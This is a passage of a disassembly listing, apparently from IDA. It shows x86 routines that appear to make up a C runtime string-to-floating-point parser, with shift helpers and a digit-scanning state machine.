[ecx] shl edx, 1 mov eax, [ebp+arg_0] mov [eax], edx mov ecx, [ebp+arg_0] mov edx, [ecx+4] shl edx, 1 or edx, [ebp+var_4] mov eax, [ebp+arg_0] mov [eax+4], edx mov ecx, [ebp+arg_0] mov edx, [ecx+8] shl edx, 1 or edx, [ebp+var_8] mov eax, [ebp+arg_0] mov [eax+8], edx mov esp, ebp pop ebp retn sub_4310D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431130 proc near ; CODE XREF: sub_431E60+382p ; sub_434060+316p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_0] mov ecx, [eax+8] and ecx, 1 neg ecx sbb ecx, ecx and ecx, 80000000h mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [edx+4] and eax, 1 neg eax sbb eax, eax and eax, 80000000h mov [ebp+var_4], eax mov ecx, [ebp+arg_0] mov edx, [ecx+8] shr edx, 1 mov eax, [ebp+arg_0] mov [eax+8], edx mov ecx, [ebp+arg_0] mov edx, [ecx+4] shr edx, 1 or edx, [ebp+var_8] mov eax, [ebp+arg_0] mov [eax+4], edx mov ecx, [ebp+arg_0] mov edx, [ecx] shr edx, 1 or edx, [ebp+var_4] mov eax, [ebp+arg_0] mov [eax], edx mov esp, ebp pop ebp retn sub_431130 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4311A0 proc near ; CODE XREF: sub_4312E0+8A7p var_10 = word ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov [ebp+var_10], 404Eh mov eax, [ebp+arg_8] mov dword ptr [eax], 0 mov ecx, [ebp+arg_8] mov dword ptr [ecx+4], 0 mov edx, [ebp+arg_8] mov dword ptr [edx+8], 0 jmp short loc_4311DD ; --------------------------------------------------------------------------- loc_4311CB: ; CODE XREF: sub_4311A0+B2j mov eax, [ebp+arg_4] sub eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx loc_4311DD: ; CODE XREF: sub_4311A0+29j cmp [ebp+arg_4], 0 jbe short loc_431257 mov edx, [ebp+arg_8] mov eax, [edx] mov [ebp+var_C], eax mov ecx, [edx+4] mov [ebp+var_8], ecx mov edx, [edx+8] mov [ebp+var_4], edx mov eax, [ebp+arg_8] push eax call sub_4310D0 add esp, 4 mov ecx, [ebp+arg_8] push ecx call sub_4310D0 add esp, 4 lea edx, [ebp+var_C] push edx mov eax, [ebp+arg_8] push eax call sub_431020 add esp, 8 mov ecx, [ebp+arg_8] push ecx call sub_4310D0 add esp, 4 mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] mov [ebp+var_C], eax mov [ebp+var_8], 0 mov [ebp+var_4], 0 lea ecx, [ebp+var_C] push ecx mov edx, [ebp+arg_8] push edx call sub_431020 add esp, 8 jmp loc_4311CB ; --------------------------------------------------------------------------- loc_431257: ; CODE XREF: sub_4311A0+41j ; sub_4311A0+101j mov eax, [ebp+arg_8] cmp dword ptr [eax+8], 0 jnz short loc_4312A3 mov ecx, [ebp+arg_8] mov edx, [ecx+4] shr edx, 10h mov eax, [ebp+arg_8] mov [eax+8], edx mov ecx, [ebp+arg_8] mov edx, [ecx+4] shl edx, 10h mov eax, [ebp+arg_8] mov ecx, [eax] shr ecx, 10h or edx, ecx mov eax, [ebp+arg_8] mov [eax+4], edx mov ecx, [ebp+arg_8] mov edx, [ecx] shl edx, 10h mov eax, [ebp+arg_8] mov [eax], edx mov cx, [ebp+var_10] sub cx, 10h mov [ebp+var_10], cx jmp short loc_431257 ; --------------------------------------------------------------------------- loc_4312A3: ; CODE XREF: sub_4311A0+BEj ; sub_4311A0+12Aj mov edx, [ebp+arg_8] mov eax, [edx+8] and eax, 8000h test eax, eax jnz short loc_4312CC mov ecx, [ebp+arg_8] push ecx call sub_4310D0 add esp, 4 mov dx, [ebp+var_10] sub dx, 1 mov [ebp+var_10], dx jmp short loc_4312A3 ; --------------------------------------------------------------------------- loc_4312CC: ; CODE XREF: sub_4311A0+110j mov eax, [ebp+arg_8] mov cx, [ebp+var_10] mov [eax+0Ah], cx mov esp, ebp pop ebp retn sub_4311A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4312E0 proc near ; CODE XREF: sub_42DA10+1Ap ; .nsp0:0042DA6Ap ... var_B4 = byte ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = byte ptr -0A8h var_A4 = byte ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = byte ptr -8Ch var_88 = dword ptr -88h var_84 = byte ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = word ptr -60h var_5E = dword ptr -5Eh var_5A = dword ptr -5Ah var_56 = word ptr -56h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = word ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_21 = byte ptr -21h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 0B4h lea eax, [ebp+var_38] mov [ebp+var_68], eax mov word ptr [ebp+var_1C], 0 mov [ebp+var_74], 1 mov [ebp+var_70], 0 mov [ebp+var_54], 0 mov [ebp+var_C], 0 mov [ebp+var_18], 0 mov [ebp+var_40], 0 mov [ebp+var_78], 0 mov [ebp+var_14], 0 mov [ebp+var_6C], 0 mov [ebp+var_44], 0 mov [ebp+var_4C], 0 mov ecx, [ebp+arg_8] mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov [ebp+var_64], edx jmp short loc_431359 ; --------------------------------------------------------------------------- loc_431350: ; CODE XREF: sub_4312E0:loc_431385j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_431359: ; CODE XREF: sub_4312E0+6Ej mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 20h jz short loc_431385 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 9 jz short loc_431385 mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 0Ah jz short loc_431385 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 0Dh jnz short loc_431387 loc_431385: ; CODE XREF: sub_4312E0+82j ; sub_4312E0+8Dj ... jmp short loc_431350 ; --------------------------------------------------------------------------- loc_431387: ; CODE XREF: sub_4312E0+A3j ; sub_4312E0:loc_431AE3j cmp [ebp+var_4C], 0Ah jz loc_431AE8 mov eax, [ebp+var_4] mov cl, [eax] mov byte ptr [ebp+var_3C], cl mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_4C] mov [ebp+var_80], eax cmp [ebp+var_80], 0Bh ja loc_431AE3 mov ecx, [ebp+var_80] jmp off_431CFA[ecx*4] loc_4313BC: ; DATA XREF: .nsp0:off_431CFAo movsx edx, byte ptr [ebp+var_3C] cmp edx, 31h jl short loc_4313E0 movsx eax, byte ptr [ebp+var_3C] cmp eax, 39h jg short loc_4313E0 mov [ebp+var_4C], 3 mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx jmp short loc_431455 ; --------------------------------------------------------------------------- loc_4313E0: ; CODE XREF: sub_4312E0+E3j ; sub_4312E0+ECj movsx edx, byte ptr [ebp+var_3C] movsx eax, byte_4516AC cmp edx, eax jnz short loc_4313F8 mov [ebp+var_4C], 5 jmp short loc_431455 ; --------------------------------------------------------------------------- loc_4313F8: ; CODE XREF: sub_4312E0+10Dj mov cl, byte ptr [ebp+var_3C] mov [ebp+var_84], cl cmp [ebp+var_84], 2Bh jz short loc_431427 cmp [ebp+var_84], 2Dh jz short loc_431436 cmp [ebp+var_84], 30h jz short loc_43141E jmp short loc_431445 ; --------------------------------------------------------------------------- loc_43141E: ; CODE XREF: sub_4312E0+13Aj mov [ebp+var_4C], 1 jmp short loc_431455 ; --------------------------------------------------------------------------- loc_431427: ; CODE XREF: sub_4312E0+128j mov [ebp+var_4C], 2 mov word ptr [ebp+var_1C], 0 jmp short loc_431455 ; --------------------------------------------------------------------------- loc_431436: ; CODE XREF: sub_4312E0+131j mov [ebp+var_4C], 2 mov word ptr [ebp+var_1C], 8000h jmp short loc_431455 ; --------------------------------------------------------------------------- loc_431445: ; CODE XREF: sub_4312E0+13Cj mov [ebp+var_4C], 0Ah mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx loc_431455: ; CODE XREF: sub_4312E0+FEj ; sub_4312E0+116j ... jmp loc_431AE3 ; --------------------------------------------------------------------------- loc_43145A: ; CODE XREF: sub_4312E0+D5j ; DATA XREF: .nsp0:00431CFEo mov [ebp+var_54], 1 movsx eax, byte ptr [ebp+var_3C] cmp eax, 31h jl short loc_431488 movsx ecx, byte ptr [ebp+var_3C] cmp ecx, 39h jg short loc_431488 mov [ebp+var_4C], 3 mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx jmp loc_43150B ; --------------------------------------------------------------------------- loc_431488: ; CODE XREF: sub_4312E0+188j ; sub_4312E0+191j movsx eax, byte ptr [ebp+var_3C] movsx ecx, byte_4516AC cmp eax, ecx jnz short loc_4314A0 mov [ebp+var_4C], 4 jmp short loc_43150B ; --------------------------------------------------------------------------- loc_4314A0: ; CODE XREF: sub_4312E0+1B5j movsx edx, byte ptr [ebp+var_3C] mov [ebp+var_88], edx mov eax, [ebp+var_88] sub eax, 2Bh mov [ebp+var_88], eax cmp [ebp+var_88], 3Ah ja short loc_4314FB mov edx, [ebp+var_88] xor ecx, ecx mov cl, byte_431D3A[edx] jmp off_431D2A[ecx*4] loc_4314D7: ; CODE XREF: sub_4312E0+D5j ; DATA XREF: .nsp0:00431D2Eo mov [ebp+var_4C], 1 jmp short loc_43150B ; --------------------------------------------------------------------------- loc_4314E0: ; CODE XREF: sub_4312E0+D5j ; sub_4312E0+1F0j ; DATA XREF: ... mov [ebp+var_4C], 6 jmp short loc_43150B ; --------------------------------------------------------------------------- loc_4314E9: ; CODE XREF: sub_4312E0+D5j ; sub_4312E0+1F0j ; DATA XREF: ... mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax mov [ebp+var_4C], 0Bh jmp short loc_43150B ; --------------------------------------------------------------------------- loc_4314FB: ; CODE XREF: sub_4312E0+D5j ; sub_4312E0+1E0j ... mov [ebp+var_4C], 0Ah mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx loc_43150B: ; CODE XREF: sub_4312E0+1A3j ; sub_4312E0+1BEj ... jmp loc_431AE3 ; --------------------------------------------------------------------------- loc_431510: ; CODE XREF: sub_4312E0+D5j ; DATA XREF: .nsp0:00431D02o movsx edx, byte ptr [ebp+var_3C] cmp edx, 31h jl short loc_431534 movsx eax, byte ptr [ebp+var_3C] cmp eax, 39h jg short loc_431534 mov [ebp+var_4C], 3 mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx jmp short loc_431576 ; --------------------------------------------------------------------------- loc_431534: ; CODE XREF: sub_4312E0+237j ; sub_4312E0+240j movsx edx, byte ptr [ebp+var_3C] movsx eax, byte_4516AC cmp edx, eax jnz short loc_43154C mov [ebp+var_4C], 5 jmp short loc_431576 ; --------------------------------------------------------------------------- loc_43154C: ; CODE XREF: sub_4312E0+261j mov cl, byte ptr [ebp+var_3C] mov [ebp+var_8C], cl cmp [ebp+var_8C], 30h jz short loc_431560 jmp short loc_431569 ; --------------------------------------------------------------------------- loc_431560: ; CODE XREF: sub_4312E0+27Cj mov [ebp+var_4C], 1 jmp short loc_431576 ; --------------------------------------------------------------------------- loc_431569: ; CODE XREF: sub_4312E0+27Ej mov [ebp+var_4C], 0Ah mov edx, [ebp+var_64] mov [ebp+var_4], edx loc_431576: ; CODE XREF: sub_4312E0+252j ; sub_4312E0+26Aj ... jmp loc_431AE3 ; --------------------------------------------------------------------------- loc_43157B: ; CODE XREF: sub_4312E0+D5j ; DATA XREF: .nsp0:00431D06o mov [ebp+var_54], 1 jmp short loc_431595 ; --------------------------------------------------------------------------- loc_431584: ; CODE XREF: sub_4312E0:loc_43160Fj mov eax, [ebp+var_4] mov cl, [eax] mov byte ptr [ebp+var_3C], cl mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_431595: ; CODE XREF: sub_4312E0+2A2j cmp dword_4516A8, 1 jle short loc_4315B9 push 4 mov eax, [ebp+var_3C] and eax, 0FFh push eax call sub_421E50 add esp, 8 mov [ebp+var_90], eax jmp short loc_4315D7 ; --------------------------------------------------------------------------- loc_4315B9: ; CODE XREF: sub_4312E0+2BCj mov ecx, [ebp+var_3C] and ecx, 0FFh mov edx, off_45149C xor eax, eax mov ax, [edx+ecx*2] and eax, 4 mov [ebp+var_90], eax loc_4315D7: ; CODE XREF: sub_4312E0+2D7j cmp [ebp+var_90], 0 jz short loc_431614 cmp [ebp+var_70], 19h jnb short loc_431606 mov ecx, [ebp+var_70] add ecx, 1 mov [ebp+var_70], ecx movsx edx, byte ptr [ebp+var_3C] sub edx, 30h mov eax, [ebp+var_68] mov [eax], dl mov ecx, [ebp+var_68] add ecx, 1 mov [ebp+var_68], ecx jmp short loc_43160F ; --------------------------------------------------------------------------- loc_431606: ; CODE XREF: sub_4312E0+304j mov edx, [ebp+var_6C] add edx, 1 mov [ebp+var_6C], edx loc_43160F: ; CODE XREF: sub_4312E0+324j jmp loc_431584 ; --------------------------------------------------------------------------- loc_431614: ; CODE XREF: sub_4312E0+2FEj movsx eax, byte ptr [ebp+var_3C] movsx ecx, byte_4516AC cmp eax, ecx jnz short loc_43162C mov [ebp+var_4C], 4 jmp short loc_43168E ; --------------------------------------------------------------------------- loc_43162C: ; CODE XREF: sub_4312E0+341j movsx edx, byte ptr [ebp+var_3C] mov [ebp+var_94], edx mov eax, [ebp+var_94] sub eax, 2Bh mov [ebp+var_94], eax cmp [ebp+var_94], 3Ah ja short loc_43167E mov edx, [ebp+var_94] xor ecx, ecx mov cl, byte_431D81[edx] jmp off_431D75[ecx*4] loc_431663: ; DATA XREF: .nsp0:00431D79o mov [ebp+var_4C], 6 jmp short loc_43168E ; --------------------------------------------------------------------------- loc_43166C: ; CODE XREF: sub_4312E0+37Cj ; DATA XREF: .nsp0:off_431D75o mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax mov [ebp+var_4C], 0Bh jmp short loc_43168E ; --------------------------------------------------------------------------- loc_43167E: ; CODE XREF: sub_4312E0+36Cj ; sub_4312E0+37Cj ; DATA XREF: ... mov [ebp+var_4C], 0Ah mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx loc_43168E: ; CODE XREF: sub_4312E0+34Aj ; sub_4312E0+38Aj ... jmp loc_431AE3 ; --------------------------------------------------------------------------- loc_431693: ; CODE XREF: sub_4312E0+D5j ; DATA XREF: .nsp0:00431D0Ao mov [ebp+var_54], 1 mov [ebp+var_C], 1 cmp [ebp+var_70], 0 jnz short loc_4316CE jmp short loc_4316BA ; --------------------------------------------------------------------------- loc_4316A9: ; CODE XREF: sub_4312E0+3ECj mov edx, [ebp+var_4] mov al, [edx] mov byte ptr [ebp+var_3C], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_4316BA: ; CODE XREF: sub_4312E0+3C7j movsx edx, byte ptr [ebp+var_3C] cmp edx, 30h jnz short loc_4316CE mov eax, [ebp+var_6C] sub eax, 1 mov [ebp+var_6C], eax jmp short loc_4316A9 ; --------------------------------------------------------------------------- loc_4316CE: ; CODE XREF: sub_4312E0+3C5j ; sub_4312E0+3E1j jmp short loc_4316E1 ; --------------------------------------------------------------------------- loc_4316D0: ; CODE XREF: sub_4312E0:loc_431759j mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_3C], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_4316E1: ; CODE XREF: sub_4312E0:loc_4316CEj cmp dword_4516A8, 1 jle short loc_431706 push 4 mov ecx, [ebp+var_3C] and ecx, 0FFh push ecx call sub_421E50 add esp, 8 mov [ebp+var_98], eax jmp short loc_431723 ; --------------------------------------------------------------------------- loc_431706: ; CODE XREF: sub_4312E0+408j mov edx, [ebp+var_3C] and edx, 0FFh mov eax, off_45149C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_98], ecx loc_431723: ; CODE XREF: sub_4312E0+424j cmp [ebp+var_98], 0 jz short loc_43175E cmp [ebp+var_70], 19h jnb short loc_431759 mov edx, [ebp+var_70] add edx, 1 mov [ebp+var_70], edx movsx eax, byte ptr [ebp+var_3C] sub eax, 30h mov ecx, [ebp+var_68] mov [ecx], al mov edx, [ebp+var_68] add edx, 1 mov [ebp+var_68], edx mov eax, [ebp+var_6C] sub eax, 1 mov [ebp+var_6C], eax loc_431759: ; CODE XREF: sub_4312E0+450j jmp loc_4316D0 ; --------------------------------------------------------------------------- loc_43175E: ; CODE XREF: sub_4312E0+44Aj movsx ecx, byte ptr [ebp+var_3C] mov [ebp+var_9C], ecx mov edx, [ebp+var_9C] sub edx, 2Bh mov [ebp+var_9C], edx cmp [ebp+var_9C], 3Ah ja short loc_4317B0 mov ecx, [ebp+var_9C] xor eax, eax mov al, byte_431DC8[ecx] jmp off_431DBC[eax*4] loc_431795: ; DATA XREF: .nsp0:00431DC0o mov [ebp+var_4C], 6 jmp short loc_4317C0 ; --------------------------------------------------------------------------- loc_43179E: ; CODE XREF: sub_4312E0+4AEj ; DATA XREF: .nsp0:off_431DBCo mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx mov [ebp+var_4C], 0Bh jmp short loc_4317C0 ; --------------------------------------------------------------------------- loc_4317B0: ; CODE XREF: sub_4312E0+49Ej ; sub_4312E0+4AEj ; DATA XREF: ... mov [ebp+var_4C], 0Ah mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax loc_4317C0: ; CODE XREF: sub_4312E0+4BCj ; sub_4312E0+4CEj jmp loc_431AE3 ; --------------------------------------------------------------------------- loc_4317C5: ; CODE XREF: sub_4312E0+D5j ; DATA XREF: .nsp0:00431D0Eo mov [ebp+var_C], 1 cmp dword_4516A8, 1 jle short loc_4317F1 push 4 mov ecx, [ebp+var_3C] and ecx, 0FFh push ecx call sub_421E50 add esp, 8 mov [ebp+var_A0], eax jmp short loc_43180E ; --------------------------------------------------------------------------- loc_4317F1: ; CODE XREF: sub_4312E0+4F3j mov edx, [ebp+var_3C] and edx, 0FFh mov eax, off_45149C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_A0], ecx loc_43180E: ; CODE XREF: sub_4312E0+50Fj cmp [ebp+var_A0], 0 jz short loc_431829 mov [ebp+var_4C], 4 mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx jmp short loc_431836 ; --------------------------------------------------------------------------- loc_431829: ; CODE XREF: sub_4312E0+535j mov [ebp+var_4C], 0Ah mov eax, [ebp+var_64] mov [ebp+var_4], eax loc_431836: ; CODE XREF: sub_4312E0+547j jmp loc_431AE3 ; --------------------------------------------------------------------------- loc_43183B: ; CODE XREF: sub_4312E0+D5j ; DATA XREF: .nsp0:00431D12o mov ecx, [ebp+var_4] sub ecx, 2 mov [ebp+var_64], ecx movsx edx, byte ptr [ebp+var_3C] cmp edx, 31h jl short loc_431868 movsx eax, byte ptr [ebp+var_3C] cmp eax, 39h jg short loc_431868 mov [ebp+var_4C], 9 mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx jmp short loc_4318BD ; --------------------------------------------------------------------------- loc_431868: ; CODE XREF: sub_4312E0+56Bj ; sub_4312E0+574j mov dl, byte ptr [ebp+var_3C] mov [ebp+var_A4], dl cmp [ebp+var_A4], 2Bh jz short loc_4318A7 cmp [ebp+var_A4], 2Dh jz short loc_431897 cmp [ebp+var_A4], 30h jz short loc_43188E jmp short loc_4318B0 ; --------------------------------------------------------------------------- loc_43188E: ; CODE XREF: sub_4312E0+5AAj mov [ebp+var_4C], 8 jmp short loc_4318BD ; --------------------------------------------------------------------------- loc_431897: ; CODE XREF: sub_4312E0+5A1j mov [ebp+var_4C], 7 mov [ebp+var_74], 0FFFFFFFFh jmp short loc_4318BD ; --------------------------------------------------------------------------- loc_4318A7: ; CODE XREF: sub_4312E0+598j mov [ebp+var_4C], 7 jmp short loc_4318BD ; --------------------------------------------------------------------------- loc_4318B0: ; CODE XREF: sub_4312E0+5ACj mov [ebp+var_4C], 0Ah mov eax, [ebp+var_64] mov [ebp+var_4], eax loc_4318BD: ; CODE XREF: sub_4312E0+586j ; sub_4312E0+5B5j ... jmp loc_431AE3 ; --------------------------------------------------------------------------- loc_4318C2: ; CODE XREF: sub_4312E0+D5j ; DATA XREF: .nsp0:00431D1Ao mov [ebp+var_18], 1 jmp short loc_4318DC ; --------------------------------------------------------------------------- loc_4318CB: ; CODE XREF: sub_4312E0+605j mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_3C], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_4318DC: ; CODE XREF: sub_4312E0+5E9j movsx ecx, byte ptr [ebp+var_3C] cmp ecx, 30h jnz short loc_4318E7 jmp short loc_4318CB ; --------------------------------------------------------------------------- loc_4318E7: ; CODE XREF: sub_4312E0+603j movsx edx, byte ptr [ebp+var_3C] cmp edx, 31h jl short loc_43190B movsx eax, byte ptr [ebp+var_3C] cmp eax, 39h jg short loc_43190B mov [ebp+var_4C], 9 mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx jmp short loc_43191B ; --------------------------------------------------------------------------- loc_43190B: ; CODE XREF: sub_4312E0+60Ej ; sub_4312E0+617j mov [ebp+var_4C], 0Ah mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx loc_43191B: ; CODE XREF: sub_4312E0+629j jmp loc_431AE3 ; --------------------------------------------------------------------------- loc_431920: ; CODE XREF: sub_4312E0+D5j ; DATA XREF: .nsp0:00431D16o movsx eax, byte ptr [ebp+var_3C] cmp eax, 31h jl short loc_431944 movsx ecx, byte ptr [ebp+var_3C] cmp ecx, 39h jg short loc_431944 mov [ebp+var_4C], 9 mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx jmp short loc_43196E ; --------------------------------------------------------------------------- loc_431944: ; CODE XREF: sub_4312E0+647j ; sub_4312E0+650j mov al, byte ptr [ebp+var_3C] mov [ebp+var_A8], al cmp [ebp+var_A8], 30h jz short loc_431958 jmp short loc_431961 ; --------------------------------------------------------------------------- loc_431958: ; CODE XREF: sub_4312E0+674j mov [ebp+var_4C], 8 jmp short loc_43196E ; --------------------------------------------------------------------------- loc_431961: ; CODE XREF: sub_4312E0+676j mov [ebp+var_4C], 0Ah mov ecx, [ebp+var_64] mov [ebp+var_4], ecx loc_43196E: ; CODE XREF: sub_4312E0+662j ; sub_4312E0+67Fj jmp loc_431AE3 ; --------------------------------------------------------------------------- loc_431973: ; CODE XREF: sub_4312E0+D5j ; DATA XREF: .nsp0:00431D1Eo mov [ebp+var_18], 1 mov [ebp+var_7C], 0 jmp short loc_431994 ; --------------------------------------------------------------------------- loc_431983: ; CODE XREF: sub_4312E0:loc_431A02j mov edx, [ebp+var_4] mov al, [edx] mov byte ptr [ebp+var_3C], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_431994: ; CODE XREF: sub_4312E0+6A1j cmp dword_4516A8, 1 jle short loc_4319B9 push 4 mov edx, [ebp+var_3C] and edx, 0FFh push edx call sub_421E50 add esp, 8 mov [ebp+var_AC], eax jmp short loc_4319D6 ; --------------------------------------------------------------------------- loc_4319B9: ; CODE XREF: sub_4312E0+6BBj mov eax, [ebp+var_3C] and eax, 0FFh mov ecx, off_45149C xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp+var_AC], edx loc_4319D6: ; CODE XREF: sub_4312E0+6D7j cmp [ebp+var_AC], 0 jz short loc_431A07 mov eax, [ebp+var_7C] imul eax, 0Ah movsx ecx, byte ptr [ebp+var_3C] lea edx, [eax+ecx-30h] mov [ebp+var_7C], edx cmp [ebp+var_7C], 1450h jle short loc_431A02 mov [ebp+var_7C], 1451h jmp short loc_431A07 ; --------------------------------------------------------------------------- loc_431A02: ; CODE XREF: sub_4312E0+717j jmp loc_431983 ; --------------------------------------------------------------------------- loc_431A07: ; CODE XREF: sub_4312E0+6FDj ; sub_4312E0+720j mov eax, [ebp+var_7C] mov [ebp+var_14], eax jmp short loc_431A20 ; --------------------------------------------------------------------------- loc_431A0F: ; CODE XREF: sub_4312E0+78Bj mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_3C], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_431A20: ; CODE XREF: sub_4312E0+72Dj cmp dword_4516A8, 1 jle short loc_431A45 push 4 mov ecx, [ebp+var_3C] and ecx, 0FFh push ecx call sub_421E50 add esp, 8 mov [ebp+var_B0], eax jmp short loc_431A62 ; --------------------------------------------------------------------------- loc_431A45: ; CODE XREF: sub_4312E0+747j mov edx, [ebp+var_3C] and edx, 0FFh mov eax, off_45149C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_B0], ecx loc_431A62: ; CODE XREF: sub_4312E0+763j cmp [ebp+var_B0], 0 jz short loc_431A6D jmp short loc_431A0F ; --------------------------------------------------------------------------- loc_431A6D: ; CODE XREF: sub_4312E0+789j mov [ebp+var_4C], 0Ah mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx jmp short loc_431AE3 ; --------------------------------------------------------------------------- loc_431A7F: ; CODE XREF: sub_4312E0+D5j ; DATA XREF: .nsp0:00431D26o cmp [ebp+arg_18], 0 jz short loc_431AD3 mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_64], eax mov cl, byte ptr [ebp+var_3C] mov [ebp+var_B4], cl cmp [ebp+var_B4], 2Bh jz short loc_431ABB cmp [ebp+var_B4], 2Dh jz short loc_431AAB jmp short loc_431AC4 ; --------------------------------------------------------------------------- loc_431AAB: ; CODE XREF: sub_4312E0+7C7j mov [ebp+var_4C], 7 mov [ebp+var_74], 0FFFFFFFFh jmp short loc_431AD1 ; --------------------------------------------------------------------------- loc_431ABB: ; CODE XREF: sub_4312E0+7BEj mov [ebp+var_4C], 7 jmp short loc_431AD1 ; --------------------------------------------------------------------------- loc_431AC4: ; CODE XREF: sub_4312E0+7C9j mov [ebp+var_4C], 0Ah mov edx, [ebp+var_64] mov [ebp+var_4], edx loc_431AD1: ; CODE XREF: sub_4312E0+7D9j ; sub_4312E0+7E2j jmp short loc_431AE3 ; --------------------------------------------------------------------------- loc_431AD3: ; CODE XREF: sub_4312E0+7A3j mov [ebp+var_4C], 0Ah mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax loc_431AE3: ; CODE XREF: sub_4312E0+CCj ; sub_4312E0+D5j ... jmp loc_431387 ; --------------------------------------------------------------------------- loc_431AE8: ; CODE XREF: sub_4312E0+ABj mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] mov [ecx], edx cmp [ebp+var_54], 0 jz loc_431C37 cmp [ebp+var_40], 0 jnz loc_431C37 cmp [ebp+var_78], 0 jnz loc_431C37 cmp [ebp+var_70], 18h jbe short loc_431B3F movsx eax, [ebp+var_21] cmp eax, 5 jl short loc_431B26 mov cl, [ebp+var_21] add cl, 1 mov [ebp+var_21], cl loc_431B26: ; CODE XREF: sub_4312E0+83Bj mov [ebp+var_70], 18h mov edx, [ebp+var_68] sub edx, 1 mov [ebp+var_68], edx mov eax, [ebp+var_6C] add eax, 1 mov [ebp+var_6C], eax loc_431B3F: ; CODE XREF: sub_4312E0+832j cmp [ebp+var_70], 0 jbe loc_431C1A mov ecx, [ebp+var_68] sub ecx, 1 mov [ebp+var_68], ecx jmp short loc_431B5D ; --------------------------------------------------------------------------- loc_431B54: ; CODE XREF: sub_4312E0+899j mov edx, [ebp+var_68] sub edx, 1 mov [ebp+var_68], edx loc_431B5D: ; CODE XREF: sub_4312E0+872j mov eax, [ebp+var_68] movsx ecx, byte ptr [eax] test ecx, ecx jnz short loc_431B7B mov edx, [ebp+var_70] sub edx, 1 mov [ebp+var_70], edx mov eax, [ebp+var_6C] add eax, 1 mov [ebp+var_6C], eax jmp short loc_431B54 ; --------------------------------------------------------------------------- loc_431B7B: ; CODE XREF: sub_4312E0+885j lea ecx, [ebp+var_60] push ecx mov edx, [ebp+var_70] push edx lea eax, [ebp+var_38] push eax call sub_4311A0 add esp, 0Ch cmp [ebp+var_74], 0 jge short loc_431B9D mov ecx, [ebp+var_14] neg ecx mov [ebp+var_14], ecx loc_431B9D: ; CODE XREF: sub_4312E0+8B3j mov edx, [ebp+var_14] add edx, [ebp+var_6C] mov [ebp+var_14], edx cmp 